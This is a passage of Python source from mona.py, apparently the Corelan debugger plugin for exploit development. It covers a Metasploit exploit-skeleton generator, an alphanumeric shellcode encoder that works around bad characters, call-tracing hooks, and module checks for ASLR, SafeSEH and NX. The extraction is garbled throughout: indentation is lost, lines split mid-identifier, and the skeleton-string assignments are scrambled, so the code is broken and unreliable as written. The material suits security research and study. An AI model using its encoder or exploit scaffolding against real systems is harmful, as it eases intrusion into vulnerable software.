# connect to url & get author + app description
u = urllib.urlretrieve(url)
# extract title
fh = open(u[0],'r')
contents = fh.readlines()
fh.close()
for line in contents:

if line.find('<h1') > -1:


titleline = line.split('>')
if len(titleline) > 1:
name = titleline[1].split('<')[0
].replace("\"","").replace("'","").strip()
break
for line in contents:
if line.find('Author:') > -1 and line.find('td s
tyle') > -1:
authorline = line.split("Author:")
if len(authorline) > 1:
originalauthor = authorline[1].s
plit('<')[0].replace("\"","").replace("'","").strip()
break
for line in contents:
if line.find('CVE:') > -1 and line.find('td styl
e') > -1:
cveline = line.split("CVE:")
if len(cveline) > 1:
tcveparts = cveline[1].split('>'
)
if len(tcveparts) > 1:
tcve = tcveparts[1].spli
t('<')[0].replace("\"","").replace("'","").strip()
if tcve.upper().strip()
!= "N//A":
cve = tcve
break
except:
dbg.log(" ** Unable to download %s" % url,highlight=1)
url = "<insert another link to the exploit/advisory here
>"
monaConfig = MnConfig()
thisauthor = monaConfig.get("author")
if thisauthor == "":
thisauthor = "<insert your name here>"
skeletonheader = "##\n"
skeletonheader += "# This module requires Metasploit: http://metasploit.
com/download\n"
skeletonheader += "# Current source: https://github.com/rapid7/metasploi
t-framework\n"
skeletonheader += "##\n\n"
skeletonheader += "require 'msf/core'\n\n"
skeletonheader += "class Metasploit3 < Msf::Exploit::Remote\n"
skeletonheader += " #Rank definition: http://dev.metasploit.com/redmine
/projects/framework/wiki/Exploit_Ranking\n"
skeletonheader += " #ManualRanking/LowRanking/AverageRanking/NormalRank
ing/GoodRanking/GreatRanking/ExcellentRanking\n"
skeletonheader += " Rank = NormalRanking\n\n"
if exploittype == "fileformat":
skeletonheader += " include Msf::Exploit::FILEFORMAT\n"
if exploittype == "network client (tcp)":
skeletonheader += " include Msf::Exploit::Remote::Tcp\n"
if exploittype == "network client (udp)":
skeletonheader += " include Msf::Exploit::Remote::Udp\n"
if cve.strip() == "":

cve = "<insert CVE number here>"


skeletoninit = " def initialize(info = {})\n"
skeletoninit += "
super(update_info(info,\n"
skeletoninit += "
'Name'
=> '" + name + "',\n"
skeletoninit += "
'Description' => %q{\n"
skeletoninit += "
Provide information about the vulnerability /
explain as good as you can\n"
skeletoninit += "
Make sure to keep each line less than 100 col
umns wide\n"
skeletoninit += "
},\n"
skeletoninit += "
'License'
=> MSF_LICENSE,\n"
skeletoninit += "
'Author'
=>\n"
skeletoninit += "
[\n"
skeletoninit += "
'" + originalauthor + "<user[at]domain.com>',
# Original discovery\n"
skeletoninit += "
'" + thisauthor + "', # MSF Module\n"
skeletoninit += "
],\n"
skeletoninit += "
'References' =>\n"
skeletoninit += "
[\n"
skeletoninit += "
[ 'OSVDB', '<insert OSVDB number here>' ],\n"
skeletoninit += "
[ 'CVE', '" + cve + "' ],\n"
skeletoninit += "
[ 'URL', '" + url + "' ]\n"
skeletoninit += "
],\n"
skeletoninit += "
'DefaultOptions' =>\n"
skeletoninit += "
{\n"
skeletoninit += "
'ExitFunction' => 'process', #none/process/th
read/seh\n"
skeletoninit += "
#'InitialAutoRunScript' => 'migrate -f',\n"
skeletoninit += "
},\n"
skeletoninit += "
'Platform' => 'win',\n"
skeletoninit += "
'Payload' =>\n"
skeletoninit += "
{\n"
skeletoninit += "
'BadChars' => \"" + bin2hexstr(badchars) + "\
", # <change if needed>\n"
skeletoninit += "
'DisableNops' => true,\n"
skeletoninit += "
},\n"
skeletoninit2
skeletoninit2
skeletoninit2
ep,Oct,Nov,Dec\n"
skeletoninit2
skeletoninit2

= "
+= "
+= "
+= "
+= "

'Privileged' => false,\n"


#Correct Date Format: \"M D Y\"\n"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,S
'DisclosureDate' => 'MONTH DAY YEAR',\n"
'DefaultTarget' => 0))\n"

if exploittype.find("network") > -1:


skeletoninit2 += "\n
register_options([Opt::RPORT(" + str(por
tnr) + ")], self.class)\n"
if exploittype.find("fileformat") > -1:
skeletoninit2 += "\n
register_options([OptString.new('FILENAM
E', [ false, 'The file name.', 'msf" + extension + "']),], self.class)\n"
skeletoninit2 += "\n end\n\n"
return skeletonheader,skeletoninit,skeletoninit2
#---------------------------------------#
# Class to call commands & parse args #
#---------------------------------------#
class MnCommand:

"""
Class to call commands, show usage and parse arguments
"""
def __init__(self, name, description, usage, parseProc, alias=""):
self.name = name
self.description = description
self.usage = usage
self.parseProc = parseProc
self.alias = alias
#---------------------------------------#
# Class to encode bytes
#
#---------------------------------------#
class MnEncoder:
"""
Class to encode bytes
"""
def __init__(self,bytestoencode):
self.origbytestoencode = bytestoencode
self.bytestoencode = bytestoencode
def encodeAlphaNum(self,badchars = []):
encodedbytes = {}
if not silent:
dbg.log("[+] Using alphanum encoder")
dbg.log("[+] Received %d bytes to encode" % len(self.ori
gbytestoencode))
dbg.log("[+] Nr of bad chars: %d" % len(badchars))
# first, check if there are no bad char conflicts
nobadchars = "\x25\x2a\x2d\x31\x32\x35\x4a\x4d\x4e\x50\x55"
badbadchars = False
for b in badchars:
if b in nobadchars:
dbg.log("*** Error: byte \\x%s cannot be a bad c
har with this encoder" % bin2hex(b))
badbadchars = True
if badbadchars:
return {}
# if all is well, explode the input to a multiple of 4
while True:
moduloresult = len(self.bytestoencode) % 4
if moduloresult == 0:
break
else:
self.bytestoencode += '\x90'
if not len(self.bytestoencode) == len(self.origbytestoencode):
if not silent:
dbg.log("[+] Added %d nops to make length of inp
ut a multiple of 4" % (len(self.bytestoencode) - len(self.origbytestoencode)))
# break it down into chunks of 4 bytes
toencodearray = []
toencodearray = [self.bytestoencode[max(i-4,0):i] for i in range
(len(self.bytestoencode), 0, -4)][::-1]
blockcnt = 1

encodedline = 0
# we have to push the blocks in reverse order
blockcnt = len(toencodearray)
nrblocks = len(toencodearray)
while blockcnt > 0:
if not silent:
dbg.log("[+] Processing block %d/%d" % (blockcnt
,nrblocks))
encodedbytes[encodedline] = ["\x25\x4a\x4d\x4e\x55","AND
EAX,0x554E4D4A"]
encodedline += 1
encodedbytes[encodedline] = ["\x25\x35\x32\x31\x2A","AND
EAX,0x2A313235"]
encodedline += 1
opcodes=[]
startpos=7
source = "".join(bin2hex(a) for a in toencodearray[block
cnt-1])
origbytes=source[startpos-7]+source[startpos-6]+source[s
tartpos-5]+source[startpos-4]+source[startpos-3]+source[startpos-2]+source[start
pos-1]+source[startpos]
reversebytes=origbytes[6]+origbytes[7]+origbytes[4]+orig
bytes[5]+origbytes[2]+origbytes[3]+origbytes[0]+origbytes[1]
revval=hexStrToInt(reversebytes)
twoval=4294967296-revval
twobytes=toHex(twoval)
if not silent:
dbg.log("Opcode to produce : %s%s %s%s %s%s %s%s
" % (origbytes[0],origbytes[1],origbytes[2],origbytes[3],origbytes[4],origbytes[
5],origbytes[6],origbytes[7]))
dbg.log("
reversed : %s%s %s%s %s%s %s%s
" % (reversebytes[0],reversebytes[1],reversebytes[2],reversebytes[3],reversebyte
s[4],reversebytes[5],reversebytes[6],reversebytes[7]))
dbg.log("
-----------")
dbg.log(" 2's complement : %s%s %s%s %s%s %s%s
" % (twobytes[0],twobytes[1],twobytes[2],twobytes[3],twobytes[4],twobytes[5],two
bytes[6],twobytes[7]))
#for each byte, start with last one first
bcnt=3
overflow=0
while bcnt >= 0:
currbyte=twobytes[(bcnt*2)]+twobytes[(bcnt*2)+1]
currval=hexStrToInt(currbyte)-overflow
testval=currval/3
if testval < 32:
#put 1 in front of byte
currbyte="1"+currbyte
currval=hexStrToInt(currbyte)-overflow
overflow=1
else:
overflow=0
val1=currval/3
val2=currval/3

val3=currval/3
sumval=val1+val2+val3
if sumval < currval:
val3 = val3 + (currval-sumval)
#validate / fix badchars
fixvals=self.validatebadchars_enc(val1,val2,val3
,badchars)
val1="%02x" % fixvals[0]
val2="%02x" % fixvals[1]
val3="%02x" % fixvals[2]
opcodes.append(val1)
opcodes.append(val2)
opcodes.append(val3)
bcnt=bcnt-1
# we should now have 12 bytes in opcodes
if not silent:
dbg.log("
-----------")
dbg.log("
%s %s %s %s" % (opc
odes[9],opcodes[6],opcodes[3],opcodes[0]))
dbg.log("
%s %s %s %s" % (opc
odes[10],opcodes[7],opcodes[4],opcodes[1]))
dbg.log("
%s %s %s %s" % (opc
odes[11],opcodes[8],opcodes[5],opcodes[2]))
dbg.log("")
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[0])
thisencodedbyte += hex2bin("\\x%s" % opcodes[3])
thisencodedbyte += hex2bin("\\x%s" % opcodes[6])
thisencodedbyte += hex2bin("\\x%s" % opcodes[9])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[9],opcodes[6],opcodes[3],opcodes[0])]
encodedline += 1
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[1])
thisencodedbyte += hex2bin("\\x%s" % opcodes[4])
thisencodedbyte += hex2bin("\\x%s" % opcodes[7])
thisencodedbyte += hex2bin("\\x%s" % opcodes[10])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[10],opcodes[7],opcodes[4],opcodes[1])]
encodedline += 1
thisencodedbyte = "\x2D"
thisencodedbyte += hex2bin("\\x%s" % opcodes[2])
thisencodedbyte += hex2bin("\\x%s" % opcodes[5])
thisencodedbyte += hex2bin("\\x%s" % opcodes[8])
thisencodedbyte += hex2bin("\\x%s" % opcodes[11])
encodedbytes[encodedline] = [thisencodedbyte,"SUB EAX,0x
%s%s%s%s" % (opcodes[11],opcodes[8],opcodes[5],opcodes[2])]
encodedline += 1
encodedbytes[encodedline] = ["\x50","PUSH EAX"]
encodedline += 1
blockcnt -= 1

return encodedbytes

def validatebadchars_enc(self,val1,val2,val3,badchars):
newvals=[]
allok=0
giveup=0
type=0
origval1=val1
origval2=val2
origval3=val3
d1=0
d2=0
d3=0
lastd1=0
lastd2=0
lastd3=0
while allok==0 and giveup==0:
#check if there are bad chars left
charcnt=0
val1ok=1
val2ok=1
val3ok=1
while charcnt < len(badchars):
if (hex2bin("%02x" % val1) in badchars):
val1ok=0
if (hex2bin("%02x" % val2) in badchars):
val2ok=0
if (hex2bin("%02x" % val3) in badchars):
val3ok=0
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
allok=0
else:
allok=1
if allok==0:
#try first by sub 1 from val1 and val2, and add
more to val3
if type==0:
val1=val1-1
val2=val2-1
val3=val3+2
if (val1<1) or (val2==0) or (val3 > 126)
:
val1=origval1
val2=origval2
val3=origval3
type=1
if type==1:
#then try by add 1 to val1 and val2, and sub mor
e from val3
val1=val1+1
val2=val2+1
val3=val3-2
if (val1>126) or (val2>126) or (val3 < 1
):
val1=origval1
val2=origval2

val3=origval3
type=2
if type==2:
#try by sub 2 from val1, and add 1 to va
l2 and val3
val1=val1-2
val2=val2+1
val3=val3+1
if (val1<1) or (val2>126) or (val3 > 126
):
val1=origval1
val2=origval2
val3=origval3
type=3
if type==3:
#try by add 2 to val1, and sub 1 from va
l2 and val3
val1=val1+2
val2=val2-1
val3=val3-1
if (val1 > 126) or (val2 < 1) or (val3 <
1):
val1=origval1
val2=origval2
val3=origval3
type=4
if type==4:
if (val1ok==0):
val1=val1-1
d1=d1+1
else:
#now spread delta over other 2 v
alues
if (d1 > 0):
val2=val2+1
val3=origval3+d1-1
d1=d1-1
else:
val1=0
if (val1 < 1) or (val2 > 126) or (val3 >
126):
val1=origval1
val2=origval2
val3=origval3
d1=0
type=5
if type==5:
if (val1ok==0):
val1=val1+1
d1=d1+1
else:
#now spread delta over other 2 v
alues
if (d1 > 0):
val2=val2-1
val3=origval3-d1+1
d1=d1-1
else:
val1=255
if (val1>126) or (val2 < 1) or (val3 < 1

):
val1=origval1
val2=origval2
val3=origval3
val1ok=0
val2ok=0
val3ok=0
d1=0
d2=0
d3=0
type=6
if type==6:
if (val1ok==0):
val1=val1-1
#d1=d1+1
if (val2ok==0):
val2=val2+1
#d2=d2+1
d3=origval1-val1+origval2-val2
val3=origval3+d3
if (lastd3==d3) and (d3 > 0):
val1=origval1
val2=origval2
val3=origval3
giveup=1
else:
lastd3=d3
if (val1<1) or (val2 < 1) or (val3 > 126
):
val1=origval1
val2=origval2
val3=origval3
giveup=1
#check results
charcnt=0
val1ok=1
val2ok=1
val3ok=1
val1text="OK"
val2text="OK"
val3text="OK"
while charcnt < len(badchars):
if (val1 == badchars[charcnt]):
val1ok=0
val1text="NOK"
if (val2 == badchars[charcnt]):
val2ok=0
val2text="NOK"
if (val3 == badchars[charcnt]):
val3ok=0
val3text="NOK"
charcnt=charcnt+1
if (val1ok==0) or (val2ok==0) or (val3ok==0):
dbg.log(" ** Unable to fix bad char issue !",highlight=
1)
dbg.log("
-> Values to check : %s(%s) %s(%s) %s(
%s) " % (bin2hex(origval1),val1text,bin2hex(origval2),val2text,bin2hex(origval3)
,val3text),highlight=1)
val1=origval1

val2=origval2
val3=origval3
newvals.append(val1)
newvals.append(val2)
newvals.append(val3)
return newvals
#---------------------------------------#
# Class to perform call tracing
#
#---------------------------------------#
class MnCallTraceHook(LogBpHook):
def __init__(self, callptr, showargs, instruction, logfile):
LogBpHook.__init__(self)
self.callptr = callptr
self.showargs = showargs
self.logfile = logfile
self.instruction = instruction
def run(self,regs):
# get instruction at this address
thisaddress = regs["EIP"]
thisinstruction = self.instruction
allargs = []
argstr = ""
if thisinstruction.startswith("CALL "):
if self.showargs > 0:
for cnt in xrange(self.showargs):
thisarg = 0
try:
thisarg = struct.unpack('<L',dbg
.readMemory(regs["ESP"]+(cnt*4),4))[0]
except:
thisarg = 0
allargs.append(thisarg)
argstr += "0x%08x, " % thisarg
argstr = argstr.strip(" ")
argstr = argstr.strip(",")
#dbg.log("CallTrace : 0x%08x : %s (%s)" % (thisa
ddress,thisinstruction,argstr),address = thisaddress)
#else:
#dbg.log("CallTrace : 0x%08x : %s" % (thisaddres
s,thisinstruction), address = thisaddress)
# save to file
try:
FILE=open(self.logfile,"a")
textra = ""
for treg in dbglib.Registers32BitsOrder:
if thisinstruction.lower().find(treg.low
er()) > -1:
textra += "%s = 0x%08x, " % (tre
g,regs[treg])
if textra != "":
textra = textra.strip(" ")
textra = textra.strip(",")
textra = "(" + textra + ")"
FILE.write("0x%08x : %s %s\n" % (thisaddress, th
isinstruction, textra))
if self.showargs > 0:

cnt = 0
while cnt < len(allargs):
content = ""
try:
bytecontent = dbg.readMe
mory(allargs[cnt],16)
content = bin2hex(byteco
ntent)
except:
content = ""
FILE.write("
Arg%d at
0x%08x : 0x%08x : %s\n" % (cnt,regs["ESP"]+(cnt*4),allargs[cnt],content))
cnt += 1
FILE.close()
except:
#dbg.log("OOPS", highlight=1)
pass
if thisinstruction.startswith("RETN"):
returnto = 0
try:
returnto = struct.unpack('<L',dbg.readMemory(reg
s["ESP"],4))[0]
except:
returnto = 0
#dbg.log("ReturnTrace : 0x%08x : %s - Return To 0x%08x"
% (thisaddress,thisinstruction,returnto), address = thisaddress)
try:
FILE=open(self.logfile,"a")
FILE.write("0x%08x : %s \n" % (thisaddress, this
instruction))
FILE.write("
ReturnTo at 0x%08x : 0x%
08x\n" % (regs["ESP"],returnto))
FILE.write("
EAX : 0x%08x\n" % regs["
EAX"])
FILE.close()
except:
pass
#---------------------------------------#
# Class to set deferred BP Hooks
#
#---------------------------------------#
class MnDeferredHook(LogBpHook):
def __init__(self, loadlibraryptr, targetptr):
LogBpHook.__init__(self)
self.targetptr = targetptr
self.loadlibraryptr = loadlibraryptr
def run(self,regs):
#dbg.log("0x%08x - DLL Loaded, checking for %s" % (self.loadlibr
aryptr,self.targetptr), highlight=1)
dbg.pause()
if self.targetptr.find(".") > -1:
# function name, try to resolve
functionaddress = dbg.getAddress(self.targetptr)
if functionaddress > 0:
dbg.log("Deferred Breakpoint set at %s (0x%08x)"
% (self.targetptr,functionaddress),highlight=1)
dbg.setBreakpoint(functionaddress)
self.UnHook()

dbg.log("Hook removed")
dbg.run()
return
if self.targetptr.find("+") > -1:
ptrparts = self.targetptr.split("+")
modname = ptrparts[0]
if not modname.lower().endswith(".dll"):
modname += ".dll"
themodule = getModuleObj(modname)
if themodule != None and len(ptrparts) > 1:
address = themodule.getBase() + int(ptrparts[1],
16)
if address > 0:
dbg.log("Deferred Breakpoint set at %s (
0x%08x)" % (self.targetptr,address),highlight=1)
dbg.setBreakpoint(address)
self.UnHook()
dbg.log("Hook removed")
dbg.run()
return
if self.targetptr.find("+") == -1 and self.targetptr.find(".") =
= -1:
address = int(self.targetptr,16)
thispage = dbg.getMemoryPageByAddress(address)
if thispage != None:
dbg.setBreakpoint(address)
dbg.log("Deferred Breakpoint set at 0x%08x" % ad
dress, highlight=1)
self.UnHook()
dbg.log("Hook removed")
dbg.run()
#---------------------------------------#
# Class to access config file
#
#---------------------------------------#
class MnConfig:
"""
Class to perform config file operations
"""
def __init__(self):
self.configfile = "mona.ini"
def get(self,parameter):
"""
Retrieves the contents of a given parameter from the config file
Arguments:
parameter - the name of the parameter
Return:
A string, containing the contents of that parameter
"""
#read config file
#format : parameter=value
toreturn = ""
curparam=[]
if os.path.exists(self.configfile):
try:
configfileobj = open(self.configfile,"rb")

content = configfileobj.readlines()
configfileobj.close()
for thisLine in content:
if not thisLine[0] == "#":
currparam = thisLine.split('=')
if currparam[0].strip().lower()
== parameter.strip().lower() and len(currparam) > 1:
#get value
currvalue = ""
i=1
while i < len(currparam)
:
currvalue = curr
value + currparam[i] + "="
i += 1
toreturn = currvalue.rst
rip("=").replace('\n','').replace('\r','')
except:
toreturn=""
return toreturn
def set(self,parameter,paramvalue):
"""
Sets/Overwrites the contents of a given parameter in the config
file
Arguments:
parameter - the name of the parameter
paramvalue - the new value of the parameter
Return:
nothing
"""
if os.path.exists(self.configfile):
#modify file
try:
configfileobj = open(self.configfile,"r")
content = configfileobj.readlines()
configfileobj.close()
newcontent = []
paramfound = False
for thisLine in content:
thisLine = thisLine.replace('\n','').rep
lace('\r','')
if not thisLine[0] == "#":
currparam = thisLine.split('=')
if currparam[0].strip().lower()
== parameter.strip().lower():
newcontent.append(parame
ter+"="+paramvalue+"\n")
paramfound = True
else:
newcontent.append(thisLi
ne+"\n")
else:
newcontent.append(thisLine+"\n")
if not paramfound:
newcontent.append(parameter+"="+paramval
ue+"\n")

#save new config file (rewrite)


dbg.log("[+] Saving config file, modified parame
ter %s" % parameter)
FILE=open(self.configfile,"w")
FILE.writelines(newcontent)
FILE.close()
except:
dbg.log("Error writing config file : %s : %s" %
(sys.exc_type,sys.exc_value),highlight=1)
return ""
else:
#create new file
try:
dbg.log("[+] Creating config file, setting param
eter %s" % parameter)
FILE=open(self.configfile,"w")
FILE.write("# ----------------------------------------------#\n")
FILE.write("# !mona.py configuration file
#\n")
FILE.write("# Corelan Team - https://www.corelan
.be
#\n")
FILE.write("# ----------------------------------------------#\n")
FILE.write(parameter+"="+paramvalue+"\n")
FILE.close()
except:
dbg.log(" ** Error writing config file", highlig
ht=1)
return ""
return ""
#---------------------------------------#
# Class to log entries to file
#
#---------------------------------------#
class MnLog:
"""
Class to perform logfile operations
"""
def __init__(self, filename):
self.filename = filename
def reset(self,clear=True,showheader=True):
"""
Optionally clears a log file, write a header to the log file and
return filename
Optional :
clear = Boolean. When set to false, the logfile won't be cleared
. This method can be
used to retrieve the full path to the logfile name of the curren
t MnLog class object
Logfiles are written to the debugger program folder, unless a co
nfig value 'workingfolder' is set.
Return:
full path to the logfile name.

"""
global noheader
if clear:
if not silent:
dbg.log("[+] Preparing output file '" + self.fil
ename +"'")
if not showheader:
noheader = True
debuggedname = dbg.getDebuggedName()
thispid = dbg.getDebuggedPid()
if thispid == 0:
debuggedname = "_no_name_"
thisconfig = MnConfig()
workingfolder = thisconfig.get("workingfolder").rstrip("\\").str
ip()
#strip extension from debuggedname
parts = debuggedname.split(".")
extlen = len(parts[len(parts)-1])+1
debuggedname = debuggedname[0:len(debuggedname)-extlen]
debuggedname = debuggedname.replace(" ","_")
workingfolder = workingfolder.replace('%p', debuggedname)
workingfolder = workingfolder.replace('%i', str(thispid))
logfile = workingfolder + "\\" + self.filename
#does working folder exist ?
if workingfolder != "":
if not os.path.exists(workingfolder):
try:
dbg.log("
- Creating working folder %
s" % workingfolder)
#recursively create folders
os.makedirs(workingfolder)
dbg.log("
- Folder created")
except:
dbg.log(" ** Unable to create working
folder %s, the debugger program folder will be used instead" % workingfolder,hig
hlight=1)
logfile = self.filename
else:
logfile = self.filename
if clear:
if not silent:
dbg.log("
- (Re)setting logfile %s" % logfile
)
try:
if os.path.exists(logfile):
try:
os.delete(logfile+".old")
except:
pass
try:
os.rename(logfile,logfile+".old"
)
except:
try:
os.rename(logfile,logfil
e+".old2")
except:
pass
except:
pass

#write header
if not noheader:
try:
with open(logfile,"w") as fh:
fh.write("=" * 80 + '\n')
thisversion,thisrevision = getVe
rsionInfo(inspect.stack()[0][1])
thisversion = thisversion.replac
e("'","")
fh.write(" Output generated by
mona.py v"+thisversion+", rev "+thisrevision+" - " + __DEBUGGERAPP__ + "\n")
fh.write(" Corelan Team - https
://www.corelan.be\n")
fh.write("=" * 80 + '\n')
osver=dbg.getOsVersion()
osrel=dbg.getOsRelease()
fh.write(" OS : " + osver + ",
release " + osrel + "\n")
fh.write(" Process being debugg
ed : " + debuggedname +" (pid " + str(thispid) + ")\n")
currmonaargs = " ".join(x for x
in currentArgs)
fh.write(" Current mona argumen
ts: %s\n" % currmonaargs)
fh.write("=" * 80 + '\n')
fh.write(" " + datetime.datetim
e.now().strftime("%Y-%m-%d %H:%M:%S") + "\n")
fh.write("=" * 80 + '\n')
except:
pass
else:
try:
with open(logfile,"w") as fh:
fh.write("")
except:
pass
#write module table
try:
if not ignoremodules:
showModuleTable(logfile)
except:
pass
return logfile
def write(self,entry,logfile):
"""
Write an entry (can be multiline) to a given logfile
Arguments:
entry - the data to write to the logfile
logfile - the full path to the logfile
Return:
nothing
"""
towrite = ""
#check if entry is int
if type(entry) == int:
if entry > 0:
ptrx = MnPointer(entry)

modname = ptrx.belongsTo()
modinfo = MnModule(modname)
towrite = "0x" + toHex(entry) + " : " + ptrx.__s
tr__() + " " + modinfo.__str__()
else:
towrite = entry
else:
towrite = entry
# if this fails, we got an unprintable character
try:
towrite = str(towrite)
except:
# one at a time
towrite2 = ""
for c in towrite:
try:
towrite2 += str(c)
except:
towrite2 += "\\x" + str(hex(ord(c))).rep
lace("0x","")
towrite = towrite2
try:
with open(logfile,"a") as fh:
if towrite.find('\n') > -1:
fh.writelines(towrite)
else:
fh.write(towrite+"\n")
except:
pass
return True
#---------------------------------------#
# Class to access module properties
#
#---------------------------------------#
class MnModule:
"""
Class to access module properties
"""
def __init__(self, modulename):
modisaslr = True
modissafeseh = True
modrebased = True
modisnx = True
modisos = True
self.IAT = {}
self.EAT = {}
path = ""
mzbase = 0
mzsize = 0
mztop = 0
mcodebase = 0
mcodesize = 0
mcodetop = 0
mentry = 0
mversion = ""
self.internalname = modulename
if modulename != "":

# if info is cached, retrieve from cache


if ModInfoCached(modulename):
modisaslr = getModuleProperty(modulename,"aslr")
modissafeseh = getModuleProperty(modulename,"saf
eseh")
modrebased = getModuleProperty(modulename,"rebas
e")
modisnx = getModuleProperty(modulename,"nx")
modisos = getModuleProperty(modulename,"os")
path = getModuleProperty(modulename,"path")
mzbase = getModuleProperty(modulename,"base")
mzsize = getModuleProperty(modulename,"size")
mztop = getModuleProperty(modulename,"top")
mversion = getModuleProperty(modulename,"version
")
mentry = getModuleProperty(modulename,"entry")
mcodebase = getModuleProperty(modulename,"codeba
se")
mcodesize = getModuleProperty(modulename,"codesi
ze")
mcodetop = getModuleProperty(modulename,"codetop
")
else:
#gather info manually - this code should only ge
t called from populateModuleInfo()
self.moduleobj = dbg.getModule(modulename)
modissafeseh = True
modisaslr = True
modisnx = True
modrebased = False
modisos = False
if self.moduleobj == None:
dbg.log("*** Error - self.moduleobj is N
one, key %s" % modulename, highlight=1)
mod
= self.moduleobj
mzbase
= mod.getBaseAddress()
mzrebase = mod.getFixupbase()
mzsize
= mod.getSize()
mversion = mod.getVersion()
mentry
= mod.getEntry()
mcodebase = mod.getCodebase()
mcodesize = mod.getCodesize()
mcodetop = mcodebase + mcodesize
mversion=mversion.replace(", ",".")
mversionfields=mversion.split('(')
mversion=mversionfields[0].replace(" ","")
if mversion=="":
mversion="-1.0-"
path=mod.getPath()
if mod.getIssystemdll() == 0:
modisos = "WINDOWS" in path.upper()
else:
modisos = True
mztop = mzbase + mzsize
if mzbase > 0:
peoffset=struct.unpack('<L',dbg.readMemo
ry(mzbase+0x3c,4))[0]
pebase=mzbase+peoffset

osver=dbg.getOsVersion()
safeseh_offset = [0x5f, 0x5f, 0x5e]
safeseh_flag = [0x4, 0x4, 0x400]
os_index = 0
# Vista / Win7 / Win8
if win7mode:
os_index = 2
flags=struct.unpack('<H',dbg.readMemory(
pebase+safeseh_offset[os_index],2))[0]
numberofentries=struct.unpack('<L',dbg.r
eadMemory(pebase+0x74,4))[0]
#safeseh ?
if (flags&safeseh_flag[os_index])!=0:
modissafeseh=True
else:
if numberofentries>10:
sectionaddress,sectionsi
ze=struct.unpack('<LL',dbg.readMemory(pebase+0x78+8*10,8))
sectionaddress+=mzbase
data=struct.unpack('<L',
dbg.readMemory(sectionaddress,4))[0]
condition = False
if os_index < 2:
condition=(secti
onsize!=0) and ((sectionsize==0x40) or (sectionsize==data))
else:
condition=(secti
onsize!=0) and ((sectionsize==0x40))
if condition==False:
modissafeseh=Fal
se
else:
sehlistaddress,s
ehlistsize=struct.unpack('<LL',dbg.readMemory(sectionaddress+0x40,8))
if sehlistaddres
s!=0 and sehlistsize!=0:
modissaf
eseh=True
else:
modissaf
eseh=False
#aslr
if (flags&0x0040)==0: # 'IMAGE_DLL_CHAR
ACTERISTICS_DYNAMIC_BASE
modisaslr=False
#nx
if (flags&0x0100)==0:
modisnx=False
#rebase
if mzrebase <> mzbase:
modrebased=True
else:
# should never be hit
#print "No module specified !!!"
#print "stacktrace : "
#print traceback.format_exc()
return None
#check if module is excluded

thisconfig = MnConfig()
allexcluded = []
excludedlist = thisconfig.get("excluded_modules")
modfound = False
if excludedlist:
allexcluded = excludedlist.split(',')
for exclentry in allexcluded:
if exclentry.lower().strip() == modulename.lower
().strip():
modfound = True
self.isExcluded = modfound
#done - populate variables
self.isAslr = modisaslr
self.isSafeSEH = modissafeseh
self.isRebase = modrebased
self.isNX = modisnx
self.isOS = modisos
self.moduleKey = modulename
self.modulePath = path
self.moduleBase = mzbase
self.moduleSize = mzsize
self.moduleTop = mztop
self.moduleVersion = mversion
self.moduleEntry = mentry
self.moduleCodesize = mcodesize
self.moduleCodetop = mcodetop
self.moduleCodebase = mcodebase

def __str__(self):
#return general info about the module
#modulename + info
"""
Get information about a module (human readable format)
Arguments:
None
Return:
String with various properties about a module
"""
outstring = ""
if self.moduleKey != "":
outstring = "[" + self.moduleKey + "] ASLR: " + str(self

.isAslr) + ", Rebase: " + str(self.isRebase) + ", SafeSEH: " + str(self.isSafeSE


H) + ", OS: " + str(self.isOS) + ", v" + self.moduleVersion + " (" + self.module
Path + ")"
else:
outstring = "[None]"
return outstring
def isAslr(self):
return self.isAslr
def isSafeSEH(self):
return self.isSafeSEH
def isRebase(self):
return self.isRebase
def isOS(self):
return self.isOS
def isNX(self):
return self.isNX
def moduleKey(self):
return self.moduleKey
def modulePath(self):
return self.modulePath
def moduleBase(self):
return self.moduleBase
def moduleSize(self):
return self.moduleSize
def moduleTop(self):
return self.moduleTop
def moduleEntry(self):
return self.moduleEntry
def moduleCodebase(self):
return self.moduleCodebase
def moduleCodesize(self):
return self.moduleCodesize
def moduleCodetop(self):
return self.moduleCodetop
def moduleVersion(self):
return self.moduleVersion
def isExcluded(self):
return self.isExcluded
def getFunctionCalls(self,criteria={}):
funccalls = {}
sequences = []
sequences.append(["call","\xff\x15"])
funccalls = searchInRange(sequences, self.moduleBase, self.modul

eTop,criteria)
return funccalls
def getIAT(self):
IAT = {}
try:
if len(self.IAT) == 0:
themod = dbg.getModule(self.moduleKey)
syms = themod.getSymbols()
thename = ""
for sym in syms:
if syms[sym].getType().startswith("Impor
t"):
thename = syms[sym].getName()
theaddress = syms[sym].getAddres
s()
if not theaddress in IAT:
IAT[theaddress] = thenam
e
# merge
# find optional header
PEHeader_ref = self.moduleBase + 0x3c
PEHeader_location = self.moduleBase + struct.unp
ack('<L',dbg.readMemory(PEHeader_ref,4))[0]
# do we have an optional header ?
bsizeOfOptionalHeader = dbg.readMemory(PEHeader_
location+0x14,2)
sizeOfOptionalHeader = struct.unpack('<L',bsizeO
fOptionalHeader+"\x00\x00")[0]
OptionalHeader_location = PEHeader_location + 0x
18
if sizeOfOptionalHeader > 0:
# get address of DataDirectory
DataDirectory_location = OptionalHeader_
location + 0x60
# get size of Import Table
importtable_size = struct.unpack('<L',db
g.readMemory(DataDirectory_location+0x64,4) )[0]
importtable_rva = struct.unpack('<L',dbg
.readMemory(DataDirectory_location+0x60,4) )[0]
iatAddr = self.moduleBase + importtable_
rva
max_nr_entries = importtable_size / 4
iatcnt = 0
while iatcnt < max_nr_entries:
thisloc = iatAddr + (4*iatcnt)
iatEntry = struct.unpack('<L',db
g.readMemory(thisloc,4) )[0]
if iatEntry > 0:
ptr = iatEntry
ptrx = MnPointer(iatEntr
y)
modname = ptrx.belongsTo
()
tmod = MnModule(modname)
thisfunc = dbglib.Functi
on(dbg,ptr)
thisfuncfullname = thisf

unc.getName().lower()
if thisfuncfullname.ends
with(".unknown") or thisfuncfullname.endswith(".%08x" % ptr):
if not tmod is N
one:
imagenam
e = tmod.getShortName()
eatlist
= tmod.getEAT()
if iatEn
try in eatlist:
thisfuncfullname = "." + imagename + "!" + eatlist[iatEntry]
